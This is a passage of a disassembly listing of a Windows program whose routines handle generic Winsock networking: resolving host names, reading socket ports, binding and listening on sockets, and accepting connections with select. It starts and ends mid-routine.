frame sub_404552 proc near ; CODE XREF: sub_41331E+A6p ; sub_415F69+256p var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_404582 xor eax, eax jmp short locret_4045B0 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404552+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call ds:dword_417238 ; ntohs movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_4045B0: ; CODE XREF: sub_404552+2Ej leave retn sub_404552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045B2 proc near ; CODE XREF: sub_4143B0+191p ; sub_415F69+20Ap var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4045E2 xor eax, eax jmp short locret_404610 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_4045B2+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call ds:dword_417238 ; ntohs movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_404610: ; CODE XREF: sub_4045B2+2Ej leave retn sub_4045B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404612 proc near ; CODE XREF: sub_40D871+69Cp var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch lea eax, [ebp+var_408] push eax push 0 push 0 push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_4046B8 mov eax, [ebp+var_408] mov [ebp+var_40C], eax loc_404643: ; CODE XREF: sub_404612+98j cmp [ebp+var_40C], 0 jz short loc_4046AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_404] push eax mov eax, [ebp+var_40C] push dword ptr [eax+10h] mov eax, [ebp+var_40C] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz short loc_40469B mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 2 jnz short loc_40469B lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_416B3A ; strcpy pop ecx pop ecx mov al, 1 jmp short locret_4046BA ; --------------------------------------------------------------------------- loc_40469B: ; CODE XREF: sub_404612+66j ; sub_404612+72j mov eax, [ebp+var_40C] mov eax, [eax+1Ch] mov [ebp+var_40C], eax jmp short loc_404643 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404612+38j push [ebp+var_408] call dword_41DE8C ; freeaddrinfo loc_4046B8: ; CODE XREF: sub_404612+1Fj xor al, al locret_4046BA: ; CODE XREF: sub_404612+87j leave retn sub_404612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: sub_4020C2+124p ; sub_403DF3+36p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch xor eax, eax test eax, eax jz short loc_4046D1 mov [ebp+var_3C], 2 jmp short loc_4046D8 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_4046BC+Aj mov [ebp+var_3C], 1 loc_4046D8: ; CODE XREF: sub_4046BC+13j mov eax, [ebp+var_3C] mov [ebp+var_8], eax push 1008h call sub_416B46 ; malloc pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4046F9 xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_4046F9: ; CODE XREF: sub_4046BC+34j mov eax, [ebp+var_2C] and dword ptr [eax], 0 mov eax, [ebp+var_2C] and dword ptr [eax+804h], 0 push 20h push 0 lea eax, [ebp+var_28] push eax call sub_416B6A ; memset add esp, 0Ch call sub_40432E neg eax sbb eax, eax and al, 0FEh inc eax inc eax mov [ebp+var_24], eax mov eax, [ebp+var_8] mov [ebp+var_20], eax mov [ebp+var_28], 5 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] push 0 call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_40475D push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_40475D: ; CODE XREF: sub_4046BC+8Fj mov eax, [ebp+var_30] mov [ebp+var_4], eax jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404765: ; CODE XREF: sub_4046BC+DDj ; sub_4046BC+F1j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40476E: ; CODE XREF: sub_4046BC+A7j cmp [ebp+var_4], 0 jz loc_40484E mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call ds:dword_417218 ; socket mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFFh jnz short loc_40479B jmp short loc_404765 ; --------------------------------------------------------------------------- loc_40479B: ; CODE XREF: sub_4046BC+DBj mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2 jz short loc_4047AF mov eax, [ebp+var_4] cmp dword ptr [eax+4], 17h jz short loc_4047AF jmp short loc_404765 ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4046BC+E6j ; sub_4046BC+EFj mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz short loc_4047D6 mov [ebp+var_38], 1 push 4 lea eax, [ebp+var_38] push eax push 4 push 0FFFFh push [ebp+var_34] call ds:dword_417204 ; setsockopt loc_4047D6: ; CODE XREF: sub_4046BC+FBj mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_34] call ds:dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4047FE push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_4047FE: ; CODE XREF: sub_4046BC+132j cmp [ebp+var_8], 1 jnz short loc_404822 push 32h push [ebp+var_34] call ds:dword_417268 ; listen cmp eax, 0FFFFFFFFh jnz short loc_404822 push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_404822: ; CODE XREF: sub_4046BC+146j ; sub_4046BC+156j mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+var_2C] mov edx, [ebp+var_34] mov [ecx+eax*4+4], edx mov eax, [ebp+var_2C] mov eax, [eax] inc eax mov ecx, [ebp+var_2C] mov [ecx], eax mov eax, [ebp+var_2C] cmp dword ptr [eax], 200h jnz short loc_404849 jmp short loc_40484E ; --------------------------------------------------------------------------- loc_404849: ; CODE XREF: sub_4046BC+189j jmp loc_404765 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: sub_4046BC+B6j ; sub_4046BC+18Bj push [ebp+var_30] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_2C] cmp dword ptr [eax], 0 jnz short loc_40486C push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp short locret_40486F ; --------------------------------------------------------------------------- loc_40486C: ; CODE XREF: sub_4046BC+1A1j mov eax, [ebp+var_2C] locret_40486F: ; CODE XREF: sub_4046BC+38j ; sub_4046BC+9Cj ... leave retn sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404871 proc near ; CODE XREF: sub_411BBC+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40488F xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_40488F: ; CODE XREF: sub_404871+18j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] add eax, [ecx] cmp eax, 200h jbe short loc_4048AD push [ebp+var_4] call sub_404CBB pop ecx xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_404871+2Dj mov eax, [ebp+var_4] mov eax, [eax] shl eax, 2 push eax mov eax, [ebp+var_4] add eax, 4 push eax mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*4+4] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+var_4] add eax, [ecx] mov ecx, [ebp+arg_0] mov [ecx], eax push [ebp+var_4] call sub_416B4C ; free pop ecx push 1 pop eax locret_4048ED: ; CODE XREF: sub_404871+1Cj ; sub_404871+3Aj leave retn sub_404871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048EF proc near ; CODE XREF: sub_4020C2+22Ep ; sub_403DF3+8Dp ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_4], 80h and [ebp+var_8C], 0 jmp short loc_404916 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_4048EF+133j ; sub_4048EF:loc_404A32j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404916: ; CODE XREF: sub_4048EF+18j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404A37 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404A32 loc_40494A: ; CODE XREF: sub_4048EF+100j and [ebp+var_9C], 0 jmp short loc_404960 ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_404960: ; CODE XREF: sub_4048EF+62j mov eax, [ebp+arg_0] mov ecx, [ebp+var_9C] cmp ecx, [eax+804h] jnb short loc_4049EB mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_4049E6 loc_404990: ; CODE XREF: sub_4048EF+E0j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_9C], eax jnb short loc_4049D1 mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_9C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax jmp short loc_404990 ; --------------------------------------------------------------------------- loc_4049D1: ; CODE XREF: sub_4048EF+B1j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049E6: ; CODE XREF: sub_4048EF+9Fj jmp loc_404953 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4048EF+80j ; sub_4048EF+F5j xor eax, eax test eax, eax jnz loc_40494A lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call ds:dword_4171FC ; accept mov [ebp+var_98], eax cmp [ebp+var_98], 0FFFFFFFFh jnz short loc_404A27 jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_4048EF+131j mov eax, [ebp+var_98] jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404A32: ; CODE XREF: sub_4048EF+55j jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_4048EF+32j mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 and [ebp+var_8C], 0 jmp short loc_404A57 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_4048EF+21Dj mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404A57: ; CODE XREF: sub_4048EF+159j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404B11 loc_404A68: ; CODE XREF: sub_4048EF+217j and [ebp+var_A0], 0 jmp short loc_404A7E ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax loc_404A7E: ; CODE XREF: sub_4048EF+180j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnb short loc_404AB2 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404AB0 jmp short loc_404AB2 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_4048EF+1BDj jmp short loc_404A71 ; --------------------------------------------------------------------------- loc_404AB2: ; CODE XREF: sub_4048EF+19Ej ; sub_4048EF+1BFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnz short loc_404B02 mov eax, [ebp+arg_0] cmp dword ptr [eax+804h], 200h jnb short loc_404B02 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+4] mov [ecx+eax*4+808h], edx mov eax, [ebp+arg_0] mov eax, [eax+804h] inc eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax loc_404B02: ; CODE XREF: sub_4048EF+1D2j ; sub_4048EF+1E1j xor eax, eax test eax, eax jnz loc_404A68 jmp loc_404A4A ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4048EF+173j mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_94], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_90], edx lea eax, [ebp+var_94] push eax push 0 push 0 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+arg_0] push dword ptr [eax] call ds:dword_41722C ; select mov [ebp+var_88], eax cmp [ebp+var_88], 0 jnz short loc_404B71 or eax, 0FFFFFFFFh jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_4048EF+278j cmp [ebp+var_88], 0FFFFFFFFh jnz short loc_404B81 xor eax, eax jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048EF+289j and [ebp+var_8C], 0 jmp short loc_404B97 ; --------------------------------------------------------------------------- loc_404B8A: ; CODE XREF: sub_4048EF+3B4j ; sub_4048EF:loc_404CB0j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404B97: ; CODE XREF: sub_4048EF+299j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404CB5 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404CB0 loc_404BCB: ; CODE XREF: sub_4048EF+381j and [ebp+var_A8], 0 jmp short loc_404BE1 ; --------------------------------------------------------------------------- loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax loc_404BE1: ; CODE XREF: sub_4048EF+2E3j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A8] cmp ecx, [eax+804h] jnb short loc_404C6C mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404C67 loc_404C11: ; CODE XREF: sub_4048EF+361j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_A8], eax jnb short loc_404C52 mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_A8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404C52: ; CODE XREF: sub_4048EF+332j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_404C6C ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_4048EF+320j jmp loc_404BD4 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_4048EF+301j ; sub_4048EF+376j xor eax, eax test eax, eax jnz loc_404BCB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call ds:dword_4171FC ; accept mov [ebp+var_A4], eax cmp [ebp+var_A4], 0FFFFFFFFh jnz short loc_404CA8 jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_4048EF+3B2j mov eax, [ebp+var_A4] jmp short loc_404CB8 ; --------------------------------------------------------------------------- loc_404CB0: ; CODE XREF: sub_4048EF+2D6j jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_4048EF+2B3j or eax, 0FFFFFFFFh loc_404CB8: ; CODE XREF: sub_4048EF+13Ej ; sub_4048EF+27Dj ... pop esi leave retn sub_4048EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CBB proc near ; CODE XREF: sub_4020C2+175p ; sub_4020C2+25Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CC5: ; CODE XREF: sub_404CBB+3Ej mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CCC: ; CODE XREF: sub_404CBB+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short loc_404CFB cmp dword_41DE38, 0 jz short loc_404CE9 mov eax, [ebp+arg_0] cmp dword ptr [eax], 64h jbe short loc_404CE9 jmp short loc_404CFB ; --------------------------------------------------------------------------- loc_404CE9: ; CODE XREF: sub_404CBB+22j ; sub_404CBB+2Aj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_4053B1 pop ecx jmp short loc_404CC5 ; --------------------------------------------------------------------------- loc_404CFB: ; CODE XREF: sub_404CBB+19j ; sub_404CBB+2Cj mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 push [ebp+arg_0] call sub_416B4C ; free pop ecx leave retn sub_404CBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D10 proc near ; CODE XREF: sub_41349C+1B7p ; sub_4143B0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 200h jbe short loc_404D21 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D21: ; CODE XREF: sub_404D10+Bj push 1010h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404D39 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D39: ; CODE XREF: sub_404D10+23j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] locret_404D4B: ; CODE XREF: sub_404D10+Fj ; sub_404D10+27j leave retn sub_404D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4D proc near ; CODE XREF: sub_41349C+417p ; sub_4143B0+109p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] cmp eax, [ecx] jnz short loc_404D6A push [ebp+arg_0] call sub_4053B1 pop ecx xor eax, eax jmp short loc_404D99 ; --------------------------------------------------------------------------- loc_404D6A: ; CODE XREF: sub_404D4D+Ej mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [ecx+eax*4+0Ch], edx mov eax, [ebp+arg_4] mov eax, [eax+4] inc eax mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] xor edx, edx cmp eax, [ecx] setnz dl mov eax, edx loc_404D99: ; CODE XREF: sub_404D4D+1Bj pop ebp retn sub_404D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D9B proc near ; CODE XREF: sub_41349C+512p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404DAC ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404DAC: ; CODE XREF: sub_404D9B+8j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short locret_404E1A mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4+0Ch] cmp eax, [ebp+arg_0] jnz short loc_404E18 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+8] jb short loc_404DDE mov eax, [ebp+arg_4] mov eax, [eax+8] dec eax mov ecx, [ebp+arg_4] mov [ecx+8], eax loc_404DDE: ; CODE XREF: sub_404D9B+34j mov eax, [ebp+arg_4] mov eax, [eax+4] sub eax, [ebp+var_4] shl eax, 2 push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+10h] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+0Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_4] mov eax, [eax+4] dec eax mov ecx, [ebp+arg_4] mov [ecx+4], eax jmp short locret_404E1A ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404D9B+29j jmp short loc_404DA5 ; --------------------------------------------------------------------------- locret_404E1A: ; CODE XREF: sub_404D9B+1Aj ; sub_404D9B+7Bj leave retn sub_404D9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E1C proc near ; CODE XREF: sub_41349C+45Fp ; sub_4143B0+14Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 and [ebp+var_8], 0 jmp short loc_404E41 ; --------------------------------------------------------------------------- loc_404E3A: ; CODE XREF: sub_404E1C+BDj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_404E41: ; CODE XREF: sub_404E1C+1Cj mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+4] jnb loc_404EDE loc_404E50: ; CODE XREF: sub_404E1C+B7j and [ebp+var_14], 0 jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_404E5D: ; CODE XREF: sub_404E1C+38j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnb short loc_404E88 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+810h] cmp eax, [esi+edx*4+0Ch] jnz short loc_404E86 jmp short loc_404E88 ; --------------------------------------------------------------------------- loc_404E86: ; CODE XREF: sub_404E1C+66j jmp short loc_404E56 ; --------------------------------------------------------------------------- loc_404E88: ; CODE XREF: sub_404E1C+4Dj ; sub_404E1C+68j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnz short loc_404ECF mov eax, [ebp+arg_0] cmp dword ptr [eax+80Ch], 200h jnb short loc_404ECF mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+0Ch] mov [ecx+eax*4+810h], edx mov eax, [ebp+arg_0] mov eax, [eax+80Ch] inc eax mov ecx, [ebp+arg_0] mov [ecx+80Ch], eax loc_404ECF: ; CODE XREF: sub_404E1C+78j ; sub_404E1C+87j xor eax, eax test eax, eax jnz loc_404E50 jmp loc_404E3A ; --------------------------------------------------------------------------- loc_404EDE: ; CODE XREF: sub_404E1C+2Ej and [ebp+var_10], 0 mov [ebp+var_C], 3E8h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+arg_0] add eax, 80Ch push eax push 0 push 0 call ds:dword_41722C ; select mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404F1A cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404F1A mov [ebp+var_18], 1 jmp short loc_404F1E ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404E1C+EDj ; sub_404E1C+F3j and [ebp+var_18], 0 loc_404F1E: ; CODE XREF: sub_404E1C+FCj mov eax, [ebp+var_18] pop esi leave retn sub_404E1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F24 proc near ; CODE XREF: sub_41349C+470p ; sub_4143B0+16Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_404F3A ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F3A: ; CODE XREF: sub_404F24+Dj mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404F79 mov eax, [ebp+arg_0] add eax, 80Ch push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_404F77 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0Ch] jmp short locret_404F7B ; --------------------------------------------------------------------------- loc_404F77: ; CODE XREF: sub_404F24+3Bj jmp short loc_404F33 ; --------------------------------------------------------------------------- loc_404F79: ; CODE XREF: sub_404F24+1Fj xor eax, eax locret_404F7B: ; CODE XREF: sub_404F24+51j leave retn sub_404F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F7D proc near ; CODE XREF: sub_404FD0+6p ; sub_41349C+59Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404F8E ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404F7D+37j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F8E: ; CODE XREF: sub_404F7D+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404FB6 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_4053B1 pop ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and dword ptr [ecx+eax*4+0Ch], 0 jmp short loc_404F87 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F7D+1Aj mov eax, [ebp+arg_0] and dword ptr [eax+4], 0 mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 leave retn sub_404F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FD0 proc near ; CODE XREF: sub_41349C+5FBp ; sub_4143B0+238p arg_0 = dword ptr 8 push ebp mov 